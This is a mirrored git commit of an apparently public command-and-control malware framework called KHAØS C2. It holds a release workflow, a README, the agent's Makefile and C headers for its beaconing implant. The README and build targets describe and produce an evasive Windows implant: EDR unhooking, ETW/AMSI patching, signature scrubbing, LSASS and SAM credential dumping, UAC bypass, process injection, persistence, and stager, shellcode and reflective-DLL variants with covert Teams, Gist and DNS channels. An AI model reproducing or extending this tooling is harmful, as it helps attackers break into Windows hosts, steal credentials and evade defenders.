mirror of
https://github.com/28Zaaky/khaos-c2
synced 2026-07-22 12:18:04 +00:00
initial
This commit is contained in:
@@ -0,0 +1,68 @@
|
||||
name: Release
|
||||
|
||||
on:
|
||||
push:
|
||||
tags:
|
||||
- 'v*'
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
release:
|
||||
runs-on: ubuntu-22.04
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Install toolchain
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
gcc-mingw-w64-x86-64 binutils-mingw-w64-x86-64 mingw-w64 make \
|
||||
python3 python3-pip nodejs npm
|
||||
|
||||
- name: Install Python deps
|
||||
run: pip3 install -r server/requirements.txt
|
||||
|
||||
- name: Build UI
|
||||
run: cd ui && npm ci && npm run build
|
||||
|
||||
- name: Build agent (standalone HTTP — demo build)
|
||||
run: |
|
||||
cd agent
|
||||
touch include/agent_config.h include/evs_strings.h
|
||||
make standalone BEACON_URL=""
|
||||
continue-on-error: true
|
||||
|
||||
- name: Create Release
|
||||
uses: softprops/action-gh-release@v2
|
||||
with:
|
||||
name: KHAØS C2 ${{ github.ref_name }}
|
||||
files: |
|
||||
agent/agent.exe
|
||||
body: |
|
||||
## KHAØS C2 ${{ github.ref_name }}
|
||||
|
||||
### Quick start (Linux VPS)
|
||||
|
||||
```bash
|
||||
git clone https://github.com/28Zaaky/khaos-c2
|
||||
cd khaos-c2
|
||||
sudo bash install.sh
|
||||
# edit server/config.yaml
|
||||
python3 server/main.py
|
||||
```
|
||||
|
||||
### Agent
|
||||
|
||||
Build via the **UI → Build tab** (MinGW is installed by `install.sh`).
|
||||
No local toolchain required on the operator machine.
|
||||
|
||||
The `agent.exe` attached to this release is a **demo build** (no credentials embedded).
|
||||
It will not beacon anywhere. Rebuild from the UI after configuring `config.yaml`.
|
||||
|
||||
### Channels
|
||||
`Teams` / `GitHub Gist` / `DNS-over-HTTPS` / `HTTP` / `SMB pivot`
|
||||
Enable only what you need in `config.yaml` — unconfigured channels are skipped.
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
# .gitignore — KHAØS C2
|
||||
|
||||
# ── Secrets & credentials ────────────────────────────────────────────────────
|
||||
server/config.yaml
|
||||
server/.env
|
||||
server/*.pem
|
||||
server/*.key
|
||||
server/*.crt
|
||||
agent/include/agent_config.h
|
||||
agent/include/evs_strings.h
|
||||
agent/src/config/agent_config.h
|
||||
|
||||
# ── Landing (served separately — not part of the OSS release) ───────────────
|
||||
landing/
|
||||
|
||||
# ── Internal docs ───────────────────────────────────────────────────────────
|
||||
LegitC2_CahierDesCharges.md
|
||||
|
||||
# ── Python ──────────────────────────────────────────────────────────────────
|
||||
server/venv/
|
||||
__pycache__/
|
||||
**/__pycache__/
|
||||
*.pyc
|
||||
*.pyo
|
||||
server/*.db
|
||||
server/*.log
|
||||
server/server_out.txt
|
||||
server/server_err.txt
|
||||
server/build/
|
||||
server/dist/
|
||||
|
||||
# ── Node / UI ────────────────────────────────────────────────────────────────
|
||||
ui/node_modules/
|
||||
ui/dist/
|
||||
ui/.env
|
||||
ui/src-tauri/binaries/*.exe
|
||||
|
||||
# ── Agent build artifacts ────────────────────────────────────────────────────
|
||||
agent/nul
|
||||
agent/agent_out*.txt
|
||||
agent/agent_err*.txt
|
||||
agent/st??????
|
||||
agent/build/
|
||||
agent/*.exe
|
||||
agent/*.dll
|
||||
agent/*.o
|
||||
agent/*.a
|
||||
agent/*.bin
|
||||
agent/*.bak
|
||||
|
||||
# ── Crypter artifacts ────────────────────────────────────────────────────────
|
||||
crypter/output/
|
||||
crypter/stub/*.exe
|
||||
crypter/stub/*.bin
|
||||
crypter/stub/*.o
|
||||
crypter/stager/*.exe
|
||||
crypter/stager/*.bin
|
||||
crypter/stager/*.o
|
||||
crypter/stager/stager_cfg.h
|
||||
|
||||
# ── Root artifacts ────────────────────────────────────────────────────────────
|
||||
vm_deploy.zip
|
||||
*.zip
|
||||
build-linux.sh
|
||||
|
||||
# ── OS ────────────────────────────────────────────────────────────────────────
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
desktop.ini
|
||||
|
||||
# ── Editors ──────────────────────────────────────────────────────────────────
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
@@ -0,0 +1,153 @@
|
||||
<div align="center">
|
||||
<img src="https://khaos.khaotic.fr/logo.png" alt="KHAØS C2" width="200" />
|
||||
<h1>KHAØS C2</h1>
|
||||
<p>KHAØS is a modern post-exploitation C2 framework with 5 covert channels and full evasion built in, created by <a href="https://github.com/28Zaaky/">@28Zaaky</a>.</p>
|
||||
|
||||
[](LICENSE)
|
||||
[](https://discord.gg/qNeK6cvwSq)
|
||||
[](https://khaos.khaotic.fr)
|
||||
</div>
|
||||
|
||||
---
|
||||
|
||||
<!-- <div align="center">
|
||||
<img src="https://khaos.khaotic.fr/preview.png" alt="KHAØS C2 UI" width="800" />
|
||||
</div> -->
|
||||
|
||||
<img width="1395" height="897" alt="image" src="https://github.com/user-attachments/assets/4b20ebc7-afb7-442c-9bf6-e173c1886dee" />
|
||||
|
||||
|
||||
---
|
||||
See the [documentation](https://khaos.khaotic.fr/docs.html) for full instructions.
|
||||
---
|
||||
|
||||
## Why KHAØS
|
||||
|
||||
Most open-source C2s have one thing in common: they're already in every EDR vendor's database. KHAØS was built with that in mind from day one.
|
||||
|
||||
The agent is written in C. It uses indirect syscalls, unhooks ntdll from a fresh disk copy, patches ETW and AMSI through hardware breakpoints rather than byte-patching, and obfuscates its stack during sleep. Every build regenerates its string encoding key and credential XOR, so two compiled binaries from the same config never share a static signature.
|
||||
|
||||
On the network side there are five channels: Microsoft Teams, GitHub Gist, DNS-over-HTTPS, HTTP/S, and SMB named pipe. The idea is that at least one of them already looks like normal traffic in whatever environment you're working in.
|
||||
|
||||
Post-exploitation covers the usual ground: shell, execute-assembly (.NET CLR in-process), BOF/COFF loading, four injection techniques, token theft and impersonation, LSASS dump via direct syscall, Kerberoasting, AS-REP roasting, SOCKS5, reverse port forward, and WMI lateral movement. A separate crypter/loader handles in-memory PE mapping if you need to go stageless.
|
||||
|
||||
The operator UI is a React app with a built-in payload builder, live network map, credential store, and screenshot gallery. Everything updates over WebSocket in real time.
|
||||
|
||||
---
|
||||
|
||||
## Features
|
||||
|
||||
<img width="934" height="1066" alt="image" src="https://github.com/user-attachments/assets/a1b331a3-eedc-4654-85ed-7e26cd834ffd" />
|
||||
|
||||
### Channels
|
||||
|
||||
| Channel | Transport | Blends into |
|
||||
|---------|-----------|-------------|
|
||||
| Microsoft Teams | HTTPS `*.office.com` | O365 enterprise traffic |
|
||||
| GitHub Gist | REST `api.github.com` | Developer activity |
|
||||
| DNS-over-HTTPS | DoH `1.1.1.1` | Encrypted DNS queries |
|
||||
| HTTP/S | HTTPS | Generic web traffic |
|
||||
| SMB Named Pipe | SMB | Internal lateral movement |
|
||||
|
||||
Traffic is encrypted with ChaCha20-Poly1305, key exchange via X25519, unique per agent, per session.
|
||||
|
||||
### Post-exploitation
|
||||
|
||||
| Category | Capabilities |
|
||||
|----------|-------------|
|
||||
| Execution | Shell, execute-assembly (.NET CLR in-process), BOF/COFF loader, screenshot |
|
||||
| Injection | Remote thread, thread hijack, EarlyBird APC, module stomp, self-injection |
|
||||
| Identity | Token steal / make / revert, `getsystem` (3 techniques), UAC bypass (ICMLuaUtil / fodhelper / sdclt) |
|
||||
| Credentials | LSASS dump (custom minidump), SAM/SYSTEM hive via SeBackupPrivilege, Kerberoast, AS-REP roast |
|
||||
| Network | SOCKS5 proxy, reverse port forward, SMB pivot, WMI lateral movement |
|
||||
| Persistence | Registry run key, scheduled task (XML) |
|
||||
|
||||
### Crypter
|
||||
|
||||
Loader that decrypts and reflectively maps the agent PE in memory.
|
||||
|
||||
```bash
|
||||
cd crypter
|
||||
python build.py # bake agent + build loader
|
||||
python build.py --stager-url https://... # with network stager
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Linux (Kali / Ubuntu / Debian)
|
||||
|
||||
```bash
|
||||
git clone https://github.com/28Zaaky/khaos-c2
|
||||
cd khaos-c2
|
||||
python3 -m venv venv && source venv/bin/activate
|
||||
pip3 install -r server/requirements.txt
|
||||
|
||||
# install Node.js if missing
|
||||
sudo apt update && sudo apt install nodejs npm -y
|
||||
cd ui && npm install && npm run build && cd ..
|
||||
|
||||
# TLS cert
|
||||
openssl req -x509 -newkey rsa:2048 -sha256 -days 365 -nodes \
|
||||
-keyout server/cert.key -out server/cert.pem -subj "/CN=khaos-c2"
|
||||
|
||||
cp server/config.example.yaml server/config.yaml
|
||||
# edit config.yaml: jwt_secret + http.beacon_url
|
||||
python3 server/main.py
|
||||
```
|
||||
|
||||
Agent compiled on Windows (see below), then dropped on target.
|
||||
|
||||
### Windows
|
||||
|
||||
Requires [MSYS2](https://www.msys2.org/) with MinGW-w64.
|
||||
|
||||
```bash
|
||||
git clone https://github.com/28Zaaky/khaos-c2
|
||||
cd khaos-c2
|
||||
```
|
||||
|
||||
```bash
|
||||
# MSYS2 shell — install build deps once
|
||||
pacman -S mingw-w64-x86_64-gcc mingw-w64-x86_64-mbedtls
|
||||
```
|
||||
|
||||
```bash
|
||||
# Server
|
||||
cd server
|
||||
python -m venv venv
|
||||
venv\Scripts\activate
|
||||
pip install -r requirements.txt
|
||||
copy config.example.yaml config.yaml
|
||||
python main.py
|
||||
```
|
||||
|
||||
```bash
|
||||
# UI (separate terminal)
|
||||
cd ui && npm install && npm run dev # → http://localhost:5173
|
||||
```
|
||||
|
||||
```powershell
|
||||
# Agent
|
||||
.\agent\rebuild_agent.ps1 # runs make config + make lean, kills running agent first
|
||||
# or: cd agent && make config && make standalone
|
||||
```
|
||||
|
||||
Default login: `operator` / `changeme`
|
||||
|
||||
---
|
||||
|
||||
## Community
|
||||
|
||||
Discord: https://discord.gg/qNeK6cvwSq
|
||||
|
||||
---
|
||||
|
||||
## Legal
|
||||
|
||||
For authorized security testing only. Using this tool against systems you do not own or have explicit written permission to test is illegal.
|
||||
|
||||
---
|
||||
|
||||
*Built by [28Zaaky](https://github.com/28Zaaky/)*
|
||||
+315
@@ -0,0 +1,315 @@
|
||||
# ── Toolchain detection — Windows (MSYS2) or Linux (cross-compile) ──────────
|
||||
ifeq ($(OS),Windows_NT)
|
||||
MSYS2 ?= C:/msys64/mingw64
|
||||
CC ?= $(MSYS2)/bin/gcc.exe
|
||||
STRIP ?= $(MSYS2)/bin/strip.exe
|
||||
OBJCOPY ?= $(MSYS2)/bin/objcopy.exe
|
||||
WINDRES ?= $(MSYS2)/bin/windres.exe
|
||||
PYTHON ?= python
|
||||
# Force linker temp dir (ld.exe ignores shell TEMP on some MSYS2 setups)
|
||||
export TMP := $(or $(TMP),$(TEMP),C:/Windows/Temp)
|
||||
export TEMP := $(TMP)
|
||||
else
|
||||
# Ubuntu/Debian: apt install gcc-mingw-w64-x86-64 mingw-w64
|
||||
MSYS2 ?= /usr/x86_64-w64-mingw32
|
||||
CC ?= x86_64-w64-mingw32-gcc
|
||||
STRIP ?= x86_64-w64-mingw32-strip
|
||||
OBJCOPY ?= x86_64-w64-mingw32-objcopy
|
||||
WINDRES ?= x86_64-w64-mingw32-windres
|
||||
PYTHON ?= python3
|
||||
endif
|
||||
|
||||
# Guard: must run make from the agent/ directory (include/bof.h must be reachable)
|
||||
ifeq ($(wildcard include/bof.h),)
|
||||
$(error Run make from the agent/ directory, not from: $(CURDIR))
|
||||
endif
|
||||
|
||||
BUILDDIR = .
|
||||
|
||||
# -DCURL_STATICLIB removed: curl linked dynamically (libcurl-4.dll)
|
||||
JITTER_PCT ?= 40
|
||||
# -fno-ident : supprime la string "GCC: (x86_64-posix-seh...)" dans .comment
|
||||
# -fno-asynchronous-unwind-tables : supprime .eh_frame (réduit surface heuristique)
|
||||
# -fno-exceptions : pas d'exception C++ → pas de .pdata/.xdata MSVC-style
|
||||
# -Wl,--no-insert-timestamp : ld n'écrit pas de timestamp (pe_scrub en met un aléatoire)
|
||||
CFLAGS = -O2 -Wall -Wextra -DNDEBUG -DWIN32_LEAN_AND_MEAN \
|
||||
-fno-ident -fno-asynchronous-unwind-tables -fno-exceptions \
|
||||
-fno-stack-protector \
|
||||
-DJITTER_PCT=$(JITTER_PCT)
|
||||
|
||||
# Mixed linking: -mwindows suppresses console
|
||||
# curl = dynamic (DLL), mbedTLS = static, stdlib = static
|
||||
LDFLAGS = -mwindows -static-libgcc -static-libstdc++ -Wl,--no-insert-timestamp
|
||||
|
||||
INCLUDE = -Iinclude \
|
||||
-I$(MSYS2)/include
|
||||
|
||||
LIBPATH = -L$(MSYS2)/lib
|
||||
|
||||
# mbedTLS static, curl dynamic (avoids HTTP/3 static dep chain)
|
||||
LIBS = -Wl,-Bstatic -lmbedcrypto -lbcrypt \
|
||||
-Wl,-Bdynamic -lcurl \
|
||||
-Wl,-Bstatic -lws2_32 -lwinhttp -lnetapi32 -ladvapi32 \
|
||||
-lwldap32 -lcrypt32 -lsecur32 -liphlpapi \
|
||||
-lgdi32 -lole32 -loleaut32 -luuid
|
||||
|
||||
# Standalone: HTTP channel only (WinHTTP loaded at runtime — no IAT entry)
|
||||
# Excludes teams.c / github.c / doh.c — no libcurl required.
|
||||
LIBS_SA = -Wl,-Bstatic -lmbedcrypto -lbcrypt \
|
||||
-Wl,-Bstatic -lws2_32 -lnetapi32 -ladvapi32 \
|
||||
-lwldap32 -lcrypt32 -lsecur32 -liphlpapi \
|
||||
-lgdi32 -lole32 -loleaut32 -luuid
|
||||
|
||||
SRC_SA = src/main.c \
|
||||
src/beacon.c \
|
||||
src/util.c \
|
||||
src/adv_lazy.c \
|
||||
src/evs.c \
|
||||
src/crypto/chacha.c \
|
||||
src/crypto/handshake.c \
|
||||
src/channels/http.c \
|
||||
src/channels/http_only.c \
|
||||
src/commands/shell.c \
|
||||
src/commands/upload.c \
|
||||
src/commands/download.c \
|
||||
src/commands/ps.c \
|
||||
src/commands/getpid.c \
|
||||
src/commands/token.c \
|
||||
src/commands/screenshot.c \
|
||||
src/commands/execasm.c \
|
||||
src/commands/fs.c \
|
||||
src/commands/reg.c \
|
||||
src/commands/lsass.c \
|
||||
src/commands/hashdump.c \
|
||||
src/commands/portscan.c \
|
||||
src/commands/spawn.c \
|
||||
src/commands/wmi.c \
|
||||
src/commands/kerberos.c \
|
||||
src/commands/uac.c \
|
||||
src/commands/getsystem.c \
|
||||
src/commands/lpe_check.c \
|
||||
src/channels/smb.c \
|
||||
src/evasion/evasion.c \
|
||||
src/inject/inject.c \
|
||||
src/inject/spoof_stub.S \
|
||||
src/persist/persist.c \
|
||||
src/bof/bof.c \
|
||||
src/socks/socks.c \
|
||||
src/socks/rportfwd.c
|
||||
|
||||
# Lean: no inject/screenshot/lsass/hashdump/kerberos/execasm — minimal capability surface
|
||||
SRC_LEAN = src/main.c \
|
||||
src/beacon.c \
|
||||
src/util.c \
|
||||
src/adv_lazy.c \
|
||||
src/evs.c \
|
||||
src/crypto/chacha.c \
|
||||
src/crypto/handshake.c \
|
||||
src/channels/http.c \
|
||||
src/channels/http_only.c \
|
||||
src/commands/shell.c \
|
||||
src/commands/upload.c \
|
||||
src/commands/download.c \
|
||||
src/commands/ps.c \
|
||||
src/commands/getpid.c \
|
||||
src/commands/token.c \
|
||||
src/commands/fs.c \
|
||||
src/commands/reg.c \
|
||||
src/commands/portscan.c \
|
||||
src/commands/spawn.c \
|
||||
src/commands/wmi.c \
|
||||
src/commands/uac.c \
|
||||
src/commands/getsystem.c \
|
||||
src/commands/lpe_check.c \
|
||||
src/channels/smb.c \
|
||||
src/evasion/evasion.c \
|
||||
src/inject/inject_stub.c \
|
||||
src/persist/persist.c \
|
||||
src/bof/bof.c \
|
||||
src/socks/socks.c \
|
||||
src/socks/rportfwd.c
|
||||
|
||||
SRC = src/main.c \
|
||||
src/beacon.c \
|
||||
src/util.c \
|
||||
src/adv_lazy.c \
|
||||
src/evs.c \
|
||||
src/crypto/chacha.c \
|
||||
src/crypto/handshake.c \
|
||||
src/channels/github.c \
|
||||
src/channels/http.c \
|
||||
src/channels/teams.c \
|
||||
src/channels/doh.c \
|
||||
src/commands/shell.c \
|
||||
src/commands/upload.c \
|
||||
src/commands/download.c \
|
||||
src/commands/ps.c \
|
||||
src/commands/getpid.c \
|
||||
src/commands/token.c \
|
||||
src/commands/screenshot.c \
|
||||
src/commands/execasm.c \
|
||||
src/commands/fs.c \
|
||||
src/commands/reg.c \
|
||||
src/commands/lsass.c \
|
||||
src/commands/hashdump.c \
|
||||
src/commands/portscan.c \
|
||||
src/commands/spawn.c \
|
||||
src/commands/wmi.c \
|
||||
src/commands/kerberos.c \
|
||||
src/commands/uac.c \
|
||||
src/commands/getsystem.c \
|
||||
src/commands/lpe_check.c \
|
||||
src/channels/smb.c \
|
||||
src/evasion/evasion.c \
|
||||
src/inject/inject.c \
|
||||
src/inject/spoof_stub.S \
|
||||
src/persist/persist.c \
|
||||
src/bof/bof.c \
|
||||
src/socks/socks.c \
|
||||
src/socks/rportfwd.c
|
||||
|
||||
TARGET = $(BUILDDIR)/agent.exe
|
||||
RES_SRC = res/agent.rc
|
||||
RES_OBJ = $(BUILDDIR)/agent_res.o
|
||||
|
||||
# DLLs to ship alongside agent.exe (copy from MSYS2 after build)
|
||||
DLLS = $(MSYS2)/bin/libcurl-4.dll \
|
||||
$(MSYS2)/bin/libssl-3.dll \
|
||||
$(MSYS2)/bin/libcrypto-3.dll
|
||||
|
||||
LIFTER_SRC = src/lifter/lifter.c \
|
||||
src/evs.c
|
||||
|
||||
LIFTER_LIBS = -Wl,-Bstatic -ladvapi32 -lshell32 -luser32 -lkernel32 \
|
||||
-lole32 -luuid
|
||||
|
||||
STAGER_SRC = src/stager/stager.c \
|
||||
src/stager/hollow.c \
|
||||
src/crypto/chacha.c \
|
||||
src/evs.c
|
||||
|
||||
STAGER_LIBS = -Wl,-Bstatic -lmbedcrypto -lbcrypt \
|
||||
-Wl,-Bstatic -lws2_32 -lwinhttp -ladvapi32 \
|
||||
-lwldap32 -lcrypt32 -lsecur32 \
|
||||
-lgdi32 -lole32 -loleaut32 -luuid
|
||||
|
||||
$(RES_OBJ): $(RES_SRC) res/agent.manifest
|
||||
$(WINDRES) -i $(RES_SRC) --input-format=rc -o $(RES_OBJ) --output-format=coff
|
||||
|
||||
all: config $(RES_OBJ) $(TARGET)
|
||||
|
||||
lifter:
|
||||
$(CC) -O2 -Wall -Wextra -DNDEBUG -DWIN32_LEAN_AND_MEAN \
|
||||
$(INCLUDE) $(LIFTER_SRC) \
|
||||
$(LIBPATH) $(LIFTER_LIBS) \
|
||||
-mwindows -static-libgcc \
|
||||
-o lifter.exe
|
||||
$(STRIP) --strip-all lifter.exe
|
||||
@echo "[ok] lifter.exe"
|
||||
|
||||
standalone: config $(RES_OBJ)
|
||||
$(CC) $(CFLAGS) -DHTTP_ONLY $(INCLUDE) $(SRC_SA) $(RES_OBJ) $(LIBPATH) $(LIBS_SA) $(LDFLAGS) -o $(TARGET)
|
||||
$(STRIP) --strip-all $(TARGET)
|
||||
$(OBJCOPY) --strip-debug $(TARGET)
|
||||
$(PYTHON) tools/pe_scrub.py $(TARGET)
|
||||
@echo "[ok] standalone built $(TARGET) (no curl DLL)"
|
||||
|
||||
stager: stager-config stager-only
|
||||
|
||||
stager-config:
|
||||
$(PYTHON) tools/gen_stager_config.py --url "$(STAGE_URL)" --key "$(STAGE_KEY)"
|
||||
|
||||
# stager-only: compile stager without regenerating stager_config.h
|
||||
# Used by the payload builder API (config already written by the server).
|
||||
stager-only:
|
||||
$(CC) $(CFLAGS) -DHTTP_ONLY $(INCLUDE) $(STAGER_SRC) $(LIBPATH) $(STAGER_LIBS) $(LDFLAGS) -o stager.exe
|
||||
@echo "[ok] stager.exe"
|
||||
|
||||
# shellcode-only: convert agent.exe → agent.bin via donut
|
||||
# Requires: pip install donut-shellcode
|
||||
# Note: run build-only first to produce agent.exe
|
||||
shellcode-only:
|
||||
$(PYTHON) tools/pe2sc.py $(BUILDDIR)/agent.exe $(BUILDDIR)/agent.bin
|
||||
@echo "[ok] shellcode agent.bin"
|
||||
|
||||
# reflective-dll-only: build agent as a reflective DLL (no console, no WinMain).
|
||||
# The DLL exports "ReflectiveLoader" — any injector can find it by EAT and call
|
||||
# it to self-load the agent into memory without LoadLibrary.
|
||||
# -shared / -Wl,--dll : produce a PE DLL
|
||||
# -D_REFLECTIVE_DLL : switches main.c to agent_main() + includes dllmain.c/reflect.c
|
||||
# -Wl,--export-all-symbols omitted: only ReflectiveLoader needs export (in reflect.c)
|
||||
reflective-dll-only:
|
||||
$(CC) $(CFLAGS) -D_REFLECTIVE_DLL -DHTTP_ONLY -shared \
|
||||
$(INCLUDE) \
|
||||
$(SRC_SA) \
|
||||
src/reflect/reflect.c \
|
||||
src/reflect/dllmain.c \
|
||||
$(LIBPATH) $(LIBS_SA) \
|
||||
-static-libgcc -static-libstdc++ \
|
||||
-Wl,--dll \
|
||||
-o $(BUILDDIR)/agent.dll
|
||||
@echo "[ok] agent.dll (reflective)"
|
||||
|
||||
# lean: reduced surface — no inject/screenshot/lsass/hashdump/kerberos/execasm
|
||||
lean: config $(RES_OBJ)
|
||||
$(CC) $(CFLAGS) -DHTTP_ONLY -DLEAN $(INCLUDE) $(SRC_LEAN) $(RES_OBJ) $(LIBPATH) $(LIBS_SA) $(LDFLAGS) -o $(TARGET)
|
||||
$(STRIP) --strip-all $(TARGET)
|
||||
$(OBJCOPY) --strip-debug $(TARGET)
|
||||
$(PYTHON) tools/pe_scrub.py $(TARGET)
|
||||
@echo "[ok] lean build $(TARGET)"
|
||||
|
||||
# build-only: compile standalone without regenerating agent_config.h
|
||||
# Used by the payload builder API (config already written by the server).
|
||||
build-only: $(RES_OBJ)
|
||||
$(CC) $(CFLAGS) -DHTTP_ONLY $(INCLUDE) $(SRC_SA) $(RES_OBJ) $(LIBPATH) $(LIBS_SA) $(LDFLAGS) -o $(TARGET)
|
||||
$(STRIP) --strip-all $(TARGET)
|
||||
$(OBJCOPY) --strip-debug $(TARGET)
|
||||
$(PYTHON) tools/pe_scrub.py $(TARGET)
|
||||
@echo "[ok] build-only $(TARGET)"
|
||||
|
||||
config:
|
||||
$(PYTHON) tools/obfuscate.py
|
||||
$(PYTHON) tools/gen_evs_strings.py
|
||||
|
||||
$(TARGET): $(SRC) $(RES_OBJ)
|
||||
$(CC) $(CFLAGS) $(INCLUDE) $(SRC) $(RES_OBJ) $(LIBPATH) $(LIBS) $(LDFLAGS) -o $(TARGET)
|
||||
$(STRIP) --strip-all $(TARGET)
|
||||
$(OBJCOPY) --strip-debug $(TARGET)
|
||||
@echo "[ok] built $(TARGET)"
|
||||
|
||||
# Copy required DLLs next to the binary
|
||||
bundle: $(TARGET)
|
||||
@for dll in $(DLLS); do \
|
||||
cp -v "$$dll" . 2>/dev/null || true; \
|
||||
done
|
||||
|
||||
strip: $(TARGET)
|
||||
$(STRIP) --strip-all $(TARGET)
|
||||
$(OBJCOPY) --strip-debug $(TARGET)
|
||||
@echo "[ok] stripped"
|
||||
|
||||
relay:
|
||||
$(CC) -O2 -Wall -DNDEBUG -DWIN32_LEAN_AND_MEAN \
|
||||
$(INCLUDE) src/relay/smb_relay.c \
|
||||
$(LIBPATH) \
|
||||
-Wl,-Bstatic -lws2_32 -lwinhttp -ladvapi32 \
|
||||
-lwldap32 -lcrypt32 -lsecur32 \
|
||||
-lgdi32 -lole32 -loleaut32 -luuid \
|
||||
-static-libgcc \
|
||||
-o smb_relay.exe
|
||||
@echo "[ok] smb_relay.exe"
|
||||
|
||||
debug:
|
||||
$(CC) $(CFLAGS) -DHTTP_ONLY -DBEACON_INTERVAL=3000 -DJITTER_PCT=0 -DSKIP_EVASION \
|
||||
$(INCLUDE) $(SRC_SA) $(LIBPATH) $(LIBS_SA) $(LDFLAGS) -o $(BUILDDIR)/agent_debug.exe
|
||||
$(STRIP) --strip-all $(BUILDDIR)/agent_debug.exe
|
||||
@echo "[ok] agent_debug.exe (interval=3s, no jitter, stripped)"
|
||||
|
||||
clean:
|
||||
ifeq ($(OS),Windows_NT)
|
||||
del /Q "$(BUILDDIR)\agent.exe" "$(BUILDDIR)\agent_res.o" 2>nul || true
|
||||
else
|
||||
rm -f $(BUILDDIR)/agent.exe $(BUILDDIR)/agent_res.o
|
||||
endif
|
||||
|
||||
.PHONY: all standalone lean build-only debug stager stager-config stager-only shellcode-only reflective-dll-only bundle strip relay clean
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,31 @@
|
||||
#ifndef ADV_LAZY_H
|
||||
#define ADV_LAZY_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <winsvc.h>
|
||||
|
||||
typedef struct {
|
||||
/* token manipulation */
|
||||
BOOL (WINAPI *AdjustTokenPrivileges)(HANDLE,BOOL,PTOKEN_PRIVILEGES,DWORD,PTOKEN_PRIVILEGES,PDWORD);
|
||||
BOOL (WINAPI *DuplicateTokenEx)(HANDLE,DWORD,LPSECURITY_ATTRIBUTES,SECURITY_IMPERSONATION_LEVEL,TOKEN_TYPE,PHANDLE);
|
||||
BOOL (WINAPI *ImpersonateLoggedOnUser)(HANDLE);
|
||||
BOOL (WINAPI *LogonUserA)(LPCSTR,LPCSTR,LPCSTR,DWORD,DWORD,PHANDLE);
|
||||
BOOL (WINAPI *LookupPrivilegeNameA)(LPCSTR,PLUID,LPSTR,LPDWORD);
|
||||
BOOL (WINAPI *LookupPrivilegeValueA)(LPCSTR,LPCSTR,PLUID);
|
||||
BOOL (WINAPI *OpenProcessToken)(HANDLE,DWORD,PHANDLE);
|
||||
BOOL (WINAPI *OpenThreadToken)(HANDLE,DWORD,BOOL,PHANDLE);
|
||||
BOOL (WINAPI *RevertToSelf)(void);
|
||||
/* service management */
|
||||
BOOL (WINAPI *CloseServiceHandle)(SC_HANDLE);
|
||||
BOOL (WINAPI *EnumServicesStatusExA)(SC_HANDLE,SC_ENUM_TYPE,DWORD,DWORD,LPBYTE,DWORD,LPDWORD,LPDWORD,LPDWORD,LPCSTR);
|
||||
SC_HANDLE (WINAPI *OpenSCManagerA)(LPCSTR,LPCSTR,DWORD);
|
||||
SC_HANDLE (WINAPI *OpenServiceA)(SC_HANDLE,LPCSTR,DWORD);
|
||||
BOOL (WINAPI *QueryServiceConfigA)(SC_HANDLE,LPQUERY_SERVICE_CONFIGA,DWORD,LPDWORD);
|
||||
SERVICE_STATUS_HANDLE (WINAPI *RegisterServiceCtrlHandlerA)(LPCSTR,LPHANDLER_FUNCTION);
|
||||
BOOL (WINAPI *SetServiceStatus)(SERVICE_STATUS_HANDLE,LPSERVICE_STATUS);
|
||||
BOOL (WINAPI *StartServiceCtrlDispatcherA)(LPSERVICE_TABLE_ENTRYA);
|
||||
} adv_api_t;
|
||||
|
||||
const adv_api_t *adv_get(void);
|
||||
|
||||
#endif /* ADV_LAZY_H */
|
||||
@@ -0,0 +1,68 @@
|
||||
#ifndef BEACON_H
|
||||
#define BEACON_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include "crypto.h"
|
||||
|
||||
#define AGENT_ID_LEN 8
|
||||
#ifndef BEACON_INTERVAL
|
||||
#define BEACON_INTERVAL 30000 /* ms — override with -DBEACON_INTERVAL=N */
|
||||
#endif
|
||||
#ifndef JITTER_PCT
|
||||
#define JITTER_PCT 40
|
||||
#endif
|
||||
#define OUTPUT_BUF_SIZE (10 * 1024 * 1024)
|
||||
|
||||
#pragma pack(push, 1)
|
||||
typedef struct {
|
||||
uint16_t magic; /* 0xCC20 */
|
||||
uint32_t agent_id_u32;
|
||||
uint16_t payload_len;
|
||||
} msg_header_t;
|
||||
#pragma pack(pop)
|
||||
|
||||
#define MSG_MAGIC 0xCC20
|
||||
|
||||
typedef struct {
|
||||
char agent_id[AGENT_ID_LEN + 1];
|
||||
char hostname[256];
|
||||
char username[128];
|
||||
char os_info[128];
|
||||
char privileges[32];
|
||||
crypto_ctx_t crypto;
|
||||
int handshake_done;
|
||||
char *pending_output;
|
||||
size_t output_len;
|
||||
char last_task_id[64];
|
||||
char parent_id[AGENT_ID_LEN + 1]; /* agent that spawned us, or "" */
|
||||
} agent_ctx_t;
|
||||
|
||||
int agent_init(agent_ctx_t *ctx);
|
||||
void agent_free(agent_ctx_t *ctx);
|
||||
|
||||
char *beacon_build(agent_ctx_t *ctx);
|
||||
char *beacon_build_handshake(agent_ctx_t *ctx);
|
||||
|
||||
int beacon_parse_response(agent_ctx_t *ctx, const char *raw_b64,
|
||||
char *cmd_out, size_t cmd_sz,
|
||||
char *args_out, size_t args_sz,
|
||||
char *task_id_out, size_t task_id_sz,
|
||||
char **data_out);
|
||||
|
||||
void beacon_append_output(agent_ctx_t *ctx, const char *data, size_t len);
|
||||
void beacon_clear_output(agent_ctx_t *ctx);
|
||||
void beacon_sleep(void);
|
||||
|
||||
void agent_gen_id(char *id_out);
|
||||
void agent_get_hostname(char *buf, size_t len);
|
||||
void agent_get_username(char *buf, size_t len);
|
||||
void agent_get_os(char *buf, size_t len);
|
||||
void agent_get_privileges(char *buf, size_t len);
|
||||
void agent_write_parent_id(const char *id);
|
||||
|
||||
void agent_write_gs_flag(void);
|
||||
int agent_read_gs_flag(void);
|
||||
int agent_gs_flag_exists(void); /* 1 if flag file is present (not yet consumed) */
|
||||
|
||||
#endif /* BEACON_H */
|
||||
@@ -0,0 +1,9 @@
|
||||
#ifndef BOF_H
|
||||
#define BOF_H
|
||||
|
||||
